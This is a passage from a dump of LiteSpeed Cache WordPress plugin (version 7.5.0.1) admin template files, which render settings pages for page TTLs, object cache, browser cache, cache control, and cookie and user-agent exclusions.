					<?php Doc::learn_more( esc_url( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#instant-click' ) ); ?>
					<br />
					<span class="litespeed-danger">
					⚠️
						<?php esc_html_e( 'This will generate extra requests to the server, which will increase server load.', 'litespeed-cache' ); ?>
					</span>
				</div>
			</td>
		</tr>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-object.tpl.php000064400000000321151031165260022540 0ustar00<?php
/**
 * LiteSpeed Cache Object Cache Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

require LSCWP_DIR . 'tpl/cache/settings_inc.object.tpl.php';
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-advanced.tpl.php000064400000001077151031165260024621 0ustar00<?php
/**
 * LiteSpeed Cache Advanced Settings
 *
 * Displays the advanced settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Advanced Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#advanced-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<?php require LSCWP_DIR . 'tpl/cache/settings_inc.login_cookie.tpl.php'; ?>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-ttl.tpl.php000064400000006563151031165260022113 0ustar00<?php
/**
 * LiteSpeed Cache TTL Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php echo esc_html__( 'TTL', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#ttl-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_PUB; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify how long, in seconds, public pages are cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
				<?php $this->_validate_ttl( $option_id, 30 ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_PRIV; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify how long, in seconds, private pages are cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
				<?php $this->_validate_ttl( $option_id, 60, 3600 ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_FRONTPAGE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify how long, in seconds, the front page is cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
				<?php $this->_validate_ttl( $option_id, 30 ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_FEED; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify how long, in seconds, feeds are cached.', 'litespeed-cache' ); ?>
				<?php echo esc_html__( 'If this is set to a number less than 30, feeds will not be cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_REST; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify how long, in seconds, REST calls are cached.', 'litespeed-cache' ); ?>
				<?php echo esc_html__( 'If this is set to a number less than 30, feeds will not be cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_TTL_STATUS; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id, 30 ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</div>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Specify an HTTP status code and the number of seconds to cache that page, separated by a space.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

</tbody></table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.cache_dropquery.tpl.php000064400000002134151031165260025305 0ustar00<?php
/**
 * LiteSpeed Cache Drop Query Strings Setting
 *
 * Displays the drop query strings setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th scope="row">
		<?php $option_id = Base::O_CACHE_DROP_QS; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_textarea( $option_id, 40 ); ?>
		<div class="litespeed-desc">
			<?php
			printf(
				/* translators: %s: LiteSpeed Web Server version */
				esc_html__( 'Ignore certain query strings when caching. (LSWS %s required)', 'litespeed-cache' ),
				'v5.2.3+'
			);
			?>
			<?php
			printf(
				/* translators: %1$s: Example query string, %2$s: Example wildcard */
				esc_html__( 'For example, to drop parameters beginning with %1$s, %2$s can be used here.', 'litespeed-cache' ),
				'<code>utm</code>',
				'<code>utm*</code>'
			);
			?>
			<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#drop-query-string' ); ?>
			<br />
			<?php Doc::one_per_line(); ?>
			<br />
			<?php Doc::notice_htaccess(); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-purge.tpl.php000064400000001107151031165260024170 0ustar00<?php
/**
 * LiteSpeed Cache Network Purge Settings
 *
 * Displays the network purge settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Purge Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#purge-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<?php require LSCWP_DIR . 'tpl/cache/settings_inc.purge_on_upgrade.tpl.php'; ?>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-object.tpl.php000064400000000442151031165260024315 0ustar00<?php
/**
 * LiteSpeed Cache Network Object Settings
 *
 * Includes the network object cache settings template for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

require LSCWP_DIR . 'tpl/cache/settings_inc.object.tpl.php';
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.object.tpl.php000064400000020511151031165260023375 0ustar00<?php
/**
 * LiteSpeed Cache Object Cache Settings
 *
 * Displays the object cache settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$lang_enabled  = '<span class="litespeed-success">' . esc_html__( 'Enabled', 'litespeed-cache' ) . '</span>';
$lang_disabled = '<span class="litespeed-warning">' . esc_html__( 'Disabled', 'litespeed-cache' ) . '</span>';

$mem_enabled   = class_exists( 'Memcached' ) ? $lang_enabled : $lang_disabled;
$redis_enabled = class_exists( 'Redis' ) ? $lang_enabled : $lang_disabled;

$mem_conn = $this->cls( 'Object_Cache' )->test_connection();
if ( null === $mem_conn ) {
	$mem_conn_desc = '<span class="litespeed-desc">' . esc_html__( 'Not Available', 'litespeed-cache' ) . '</span>';
} elseif ( $mem_conn ) {
	$mem_conn_desc = '<span class="litespeed-success">' . esc_html__( 'Passed', 'litespeed-cache' ) . '</span>';
} else {
	$severity      = $this->conf( Base::O_OBJECT, true ) ? 'danger' : 'warning';
	$mem_conn_desc = '<span class="litespeed-' . esc_attr( $severity ) . '">' . esc_html__( 'Failed', 'litespeed-cache' ) . '</span>';
}
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Object Cache Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#object-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Use external object cache functionality.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#memcached-lsmcd-and-redis-object-cache-support-in-lscwp' ); ?>
				</div>
				<div class="litespeed-block">
					<div class="litespeed-col-auto">
						<h4><?php esc_html_e( 'Status', 'litespeed-cache' ); ?></h4>
					</div>
					<div class="litespeed-col-auto">
						<?php
						printf(
							/* translators: %s: Object cache name */
							esc_html__( '%s Extension', 'litespeed-cache' ),
							'Memcached'
						);
						?>
						: <?php echo wp_kses_post( $mem_enabled ); ?><br>
						<?php
						printf(
							/* translators: %s: Object cache name */
							esc_html__( '%s Extension', 'litespeed-cache' ),
							'Redis'
						);
						?>
						: <?php echo wp_kses_post( $redis_enabled ); ?><br>
						<?php esc_html_e( 'Connection Test', 'litespeed-cache' ); ?>: <?php echo wp_kses_post( $mem_conn_desc ); ?>
						<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#how-to-debug' ); ?>
					</div>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_KIND; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id, array( 'Memcached', 'Redis' ) ); ?>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_HOST; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						/* translators: %s: Object cache name */
						esc_html__( 'Your %s Hostname or IP address.', 'litespeed-cache' ),
						'Memcached/<a href="https://docs.litespeedtech.com/products/lsmcd/" target="_blank" rel="noopener">LSMCD</a>/Redis'
					);
					?>
					<br>
					<?php
					printf(
						/* translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket path */
						esc_html__( 'If you are using a %1$s socket, %2$s should be set to %3$s', 'litespeed-cache' ),
						'UNIX',
						esc_html( Lang::title( $option_id ) ),
						'<code>/path/to/memcached.sock</code>'
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_PORT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short2' ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						/* translators: %1$s: Object cache name, %2$s: Port number */
						esc_html__( 'Default port for %1$s is %2$s.', 'litespeed-cache' ),
						'Memcached',
						'<code>11211</code>'
					);
					?>
					<br>
					<?php
					printf(
						/* translators: %1$s: Object cache name, %2$s: Port number */
						esc_html__( 'Default port for %1$s is %2$s.', 'litespeed-cache' ),
						'Redis',
						'<code>6379</code>'
					);
					?>
					<br>
					<?php
					printf(
						/* translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value */
						esc_html__( 'If you are using a %1$s socket, %2$s should be set to %3$s', 'litespeed-cache' ),
						'UNIX',
						esc_html( Lang::title( $option_id ) ),
						'<code>0</code>'
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_LIFE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short2' ); ?> <?php esc_html_e( 'seconds', 'litespeed-cache' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Default TTL for cached objects.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_USER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						/* translators: %s: SASL */
						esc_html__( 'Only available when %s is installed.', 'litespeed-cache' ),
						'SASL'
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_PSWD; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify the password used when connecting.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_DB_ID; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Database to be used', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_GLOBAL_GROUPS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id, 30 ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Groups cached at the network level.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_NON_PERSISTENT_GROUPS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id, 30 ); ?>
				<div class="litespeed-desc">
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_PERSISTENT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Use keep-alive connections to speed up cache operations.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_ADMIN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Improve wp-admin speed through caching. (May encounter expired data)', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_OBJECT_TRANSIENTS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						/* translators: %1$s: Object Cache Admin title, %2$s: OFF status */
						esc_html__( 'Save transients in database when %1$s is %2$s.', 'litespeed-cache' ),
						'<code>' . esc_html( Lang::title( Base::O_OBJECT_ADMIN ) ) . '</code>',
						'<code>' . esc_html__( 'OFF', 'litespeed-cache' ) . '</code>'
					);
					?>
					<br>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#store-transients' ); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-cache.tpl.php000064400000013220151031165260022337 0ustar00<?php
/**
 * LiteSpeed Cache Control Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Cache Control Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_CACHE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php if ( $this->_is_multisite ) : ?>
					<?php $this->build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'ON', 'litespeed-cache' ), esc_html__( 'Use Network Admin Setting', 'litespeed-cache' ) ) ); ?>
				<?php else : ?>
					<?php $this->build_switch( $option_id ); ?>
				<?php endif; ?>
				<div class="litespeed-desc">
					<?php
					printf(
						/* translators: %s: Link tags */
						esc_html__( 'Please visit the %sInformation%s page on how to test the cache.', 'litespeed-cache' ),
						'<a href="https://docs.litespeedtech.com/lscache/lscwp/installation/#testing" target="_blank" rel="noopener">',
						'</a>'
					);
					?>
					<br>
					<strong><?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?>: </strong><?php esc_html_e( 'When disabling the cache, all cached entries for this site will be purged.', 'litespeed-cache' ); ?>
					<br>
					<?php if ( $this->_is_multisite ) : ?>
						<?php esc_html_e( 'The network admin setting can be overridden here.', 'litespeed-cache' ); ?>
						<br>
					<?php endif; ?>
					<?php if ( ! $this->conf( Base::O_CACHE ) && $this->conf( Base::O_CDN_QUIC ) ) : ?>
						<span class="litespeed-success"><?php esc_html_e( 'With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.', 'litespeed-cache' ); ?></span>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_PRIV; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Privately cache frontend pages for logged-in users. (LSWS %s required)', 'litespeed-cache' ), 'v5.2.1+' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_COMMENTER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)', 'litespeed-cache' ), 'v5.2.1+' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_REST; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Cache requests made by WordPress REST API calls.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_PAGE_LOGIN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Disabling this option may negatively affect performance.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<?php if ( ! $this->_is_multisite ) : ?>
			<?php require LSCWP_DIR . 'tpl/cache/settings_inc.cache_mobile.tpl.php'; ?>
		<?php endif; ?>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_PRIV_URI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'URI Paths containing these strings will NOT be cached as public.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_FORCE_URI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Paths containing these strings will be cached regardless of no-cacheable settings.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
					<br>
					<?php esc_html_e( 'To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.', 'litespeed-cache' ); ?>
					<?php
					printf(
						esc_html__( 'For example, %1$s defines a TTL of %2$s seconds for %3$s.', 'litespeed-cache' ),
						'<code>/mypath/mypage 300</code>',
						300,
						'<code>/mypath/mypage</code>'
					);
					?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_FORCE_PUB_URI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Paths containing these strings will be forced to public cached regardless of no-cacheable settings.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
					<br>
					<?php esc_html_e( 'To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.', 'litespeed-cache' ); ?>
					<?php
					printf(
						esc_html__( 'For example, %1$s defines a TTL of %2$s seconds for %3$s.', 'litespeed-cache' ),
						'<code>/mypath/mypage 300</code>',
						300,
						'<code>/mypath/mypage</code>'
					);
					?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<?php if ( ! $this->_is_multisite ) : ?>
			<?php require LSCWP_DIR . 'tpl/cache/settings_inc.cache_dropquery.tpl.php'; ?>
		<?php endif; ?>

	</tbody>
</table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.exclude_useragent.tpl.php000064400000001432151031165260025636 0ustar00<?php
/**
 * LiteSpeed Cache Exclude User Agents Setting
 *
 * Displays the exclude user agents setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th scope="row">
		<?php $option_id = Base::O_CACHE_EXC_USERAGENTS; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_textarea( $option_id ); ?>
		<div class="litespeed-desc">
			<?php
			printf(
				/* translators: %s: "user agents" */
				esc_html__( 'To prevent %s from being cached, enter them here.', 'litespeed-cache' ),
				esc_html__( 'user agents', 'litespeed-cache' )
			);
			?>
			<?php Doc::one_per_line(); ?>
			<?php $this->_validate_syntax( $option_id ); ?>
			<br /><?php Doc::notice_htaccess(); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.exclude_cookies.tpl.php000064400000001407151031165260025277 0ustar00<?php
/**
 * LiteSpeed Cache Exclude Cookies Setting
 *
 * Displays the exclude cookies setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th scope="row">
		<?php $option_id = Base::O_CACHE_EXC_COOKIES; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_textarea( $option_id ); ?>
		<div class="litespeed-desc">
			<?php
			printf(
				/* translators: %s: "cookies" */
				esc_html__( 'To prevent %s from being cached, enter them here.', 'litespeed-cache' ),
				esc_html__( 'cookies', 'litespeed-cache' )
			);
			?>
			<?php Doc::one_per_line(); ?>
			<?php $this->_validate_syntax( $option_id ); ?>
			<br /><?php Doc::notice_htaccess(); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.browser.tpl.php000064400000004453151031165260023621 0ustar00<?php
/**
 * LiteSpeed Cache Browser Cache Settings
 *
 * Displays the browser cache settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Browser Cache Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#browser-tab' ); ?>
</h3>

<?php if ( 'LITESPEED_SERVER_OLS' === LITESPEED_SERVER_TYPE ) : ?>
	<div class="litespeed-callout notice notice-warning inline">
		<h4><?php esc_html_e( 'NOTICE:', 'litespeed-cache' ); ?></h4>
		<p>
			<?php esc_html_e( 'OpenLiteSpeed users please check this', 'litespeed-cache' ); ?>:
			<?php Doc::learn_more( 'https://openlitespeed.org/kb/how-to-set-up-custom-headers/', esc_html__( 'Setting Up Custom Headers', 'litespeed-cache' ) ); ?>
		</p>
	</div>
<?php endif; ?>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th scope="row">
				<?php $option_id = Base::O_CACHE_BROWSER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files.", 'litespeed-cache' ); ?><br>
					<?php Doc::notice_htaccess(); ?><br>
					<?php
					printf(
						/* translators: %s: Link tags */
						esc_html__( 'You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s.', 'litespeed-cache' ),
						'<a href="https://docs.litespeedtech.com/lscache/lscwp/cache/#how-to-set-it-up" target="_blank" rel="noopener">',
						'</a>'
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_CACHE_TTL_BROWSER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'The amount of time, in seconds, that files will be stored in browser cache before expiring.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 30 ); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-cache.tpl.php000064400000002413151031165260024112 0ustar00<?php
/**
 * LiteSpeed Cache Network Cache Settings
 *
 * Displays the network cache control settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Cache Control Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th><?php esc_html_e( 'Network Enable Cache', 'litespeed-cache' ); ?></th>
			<td>
				<?php $this->build_switch( Base::O_CACHE ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Enabling LiteSpeed Cache for WordPress here enables the cache for the network.', 'litespeed-cache' ); ?><br />
					<?php esc_html_e( 'It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.', 'litespeed-cache' ); ?><br />
					<?php esc_html_e( 'This is to ensure compatibility prior to enabling the cache for all sites.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<?php
		require LSCWP_DIR . 'tpl/cache/settings_inc.cache_mobile.tpl.php';
		require LSCWP_DIR . 'tpl/cache/settings_inc.cache_dropquery.tpl.php';
		?>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/more_settings_tip.tpl.php000064400000001236151031165260023200 0ustar00<?php
/**
 * LiteSpeed Cache Setting Tip
 *
 * Displays a notice to inform users about additional LiteSpeed Cache settings.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

global $pagenow;
if ( 'options-general.php' !== $pagenow ) {
	return;
}
?>

<div class="litespeed-callout notice notice-success inline">
	<h4><?php esc_html_e( 'NOTE', 'litespeed-cache' ); ?></h4>
	<p>
		<?php
		printf(
			/* translators: %s: LiteSpeed Cache menu label */
			esc_html__( 'More settings available under %s menu', 'litespeed-cache' ),
			'<code>' . esc_html__( 'LiteSpeed Cache', 'litespeed-cache' ) . '</code>'
		);
		?>
	</p>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.login_cookie.tpl.php000064400000007042151031165260024574 0ustar00<?php
/**
 * LiteSpeed Cache Login Cookie and Vary Cookies Settings
 *
 * Displays the login cookie and vary cookies settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th scope="row">
		<?php $option_id = Base::O_CACHE_LOGIN_COOKIE; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_input( $option_id ); ?>
		<?php $this->_validate_syntax( $option_id ); ?>
		<div class="litespeed-desc">
			<?php
			esc_html_e( 'SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.', 'litespeed-cache' );
			?>
			<br />
			<?php
			printf(
				/* translators: %s: Default login cookie name */
				esc_html__( 'The default login cookie is %s.', 'litespeed-cache' ),
				'<code>_lscache_vary</code>'
			);
			?>
			<?php esc_html_e( 'The server will determine if the user is logged in based on the existence of this cookie.', 'litespeed-cache' ); ?>
			<?php esc_html_e( 'This setting is useful for those that have multiple web applications for the same domain.', 'litespeed-cache' ); ?>
